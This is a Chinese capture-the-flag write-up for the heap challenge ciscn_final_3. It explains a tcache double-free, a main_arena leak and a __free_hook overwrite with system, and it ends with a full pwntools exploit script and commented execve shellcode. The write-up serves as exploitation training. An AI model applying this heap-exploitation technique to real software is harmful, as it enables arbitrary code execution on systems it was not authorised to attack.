ciscn_final_3题解

  • 首先拿到题之后检查防护情况


    checksec

    果然。。全开,无GOT可改,优先考虑__free_hook和__malloc_hook

  • 查看程序功能发现漏洞点


    image.png

两个简单功能,增删,没有打印(心开始发凉


add

add功能无漏洞点,每次分配后打印分配的地址,但注意size大小限制,不能进入unsorted bin(一般思路:堆地址需要unsorted泄露找到main_arean地址,继而根据相对偏移找到__free_hook地址


remove

remove功能发现double free,环境为ubuntu 18,有tcache机制,构造更加方便
好了,现在总结以下可利用的点:

  • 堆地址泄露
  • double free(tcache 更是可以指向任意地址

解题关键在于将下一次空闲tcache的fd指向哪一块区域,继而malloc获取该地址

还是要从堆地址入手!!

查看运行时堆情况,在我们自己申请的堆上面有两个大的堆块(C++cin/cout的堆?


heapls

上面两个free会进入unsorted bin,所以大概思路是

  • 构造第一次 dub free,使第三次申请会申请到0x8403250
  • 申请到0x8403250后释放,会进入unsorted bin,构造第二次dub free泄露main_arean地址(地址为0x8403250的chunk进入unsorted bin后fd与main_arean相关,第四次申请得到main_arean+56地址
  • 根据偏移得到__free_hook地址,更改为system,free一个内容为"/bin/sh\x00"的堆块,触发

坑:本来打算__free_hook劫持到堆上构造的shellcode,不使用给的libc库,不通。。

需要vmmap查看heap执行权限

完整exp:

from pwn import *
#context.log_level = 'debug'
sh = process('./ciscn_final_3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux',arch='amd64')
def add(index, size, content):
    sh.sendline('1')
    sh.sendlineafter('index', str(index))
    sh.sendlineafter('size', str(size))
    sh.sendlineafter('thing', content)
    sh.recvuntil('gift :')
    return int(sh.recv(14), 16)

def remove(index):
    sh.sendline('2')
    sh.sendlineafter('index', str(index))


sh.recvuntil('choice >')
#sc='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
#sc = asm(
'''
xor rdi,rdi     
push rdi       
push rdi      
pop rsi         
pop rdx      
mov rdi,0x68732f6e69622f2f
shr rdi,0x08    
push rdi       
push rsp       
pop rdi      
push 0x3b   
pop rax          
syscall     
'''
sh_addr = add(0 ,0x56, "/bin/sh\x00")
log.success("sh_addr: "+hex(sh_addr))
cout_addr = sh_addr-0x11c10
log.success("cout_heap: "+hex(cout_addr))
add(1, 0x10, 'a')
remove(1)
remove(1)
add(2,0x10,p64(cout_addr))
add(3,0x10,'a')
add(4,0x10, 'chunk')
add(5,0x20,'a')
remove(4)
remove(5)
remove(5)
add(6,0x20,p64(cout_addr))
add(7,0x20,'a')
add(8,0x20,'a')
main_area = add(9,0x20,'main_area')
free_hook = main_area+0x1c48
log.success("main_area: "+hex(main_area))
log.success("free_hook: "+hex(free_hook))
system_addr=free_hook-libc.sym['__free_hook']+libc.sym['system']
log.success("system: "+hex(system_addr))
add(10,0x30,'10')
remove(10)
remove(10)
add(11,0x30,p64(free_hook))
add(12,0x30,'12')
add(13,0x30,p64(system_addr))
remove(0)
#gdb.attach(sh)
sh.interactive()

你可能感兴趣的:(ciscn_final_3题解)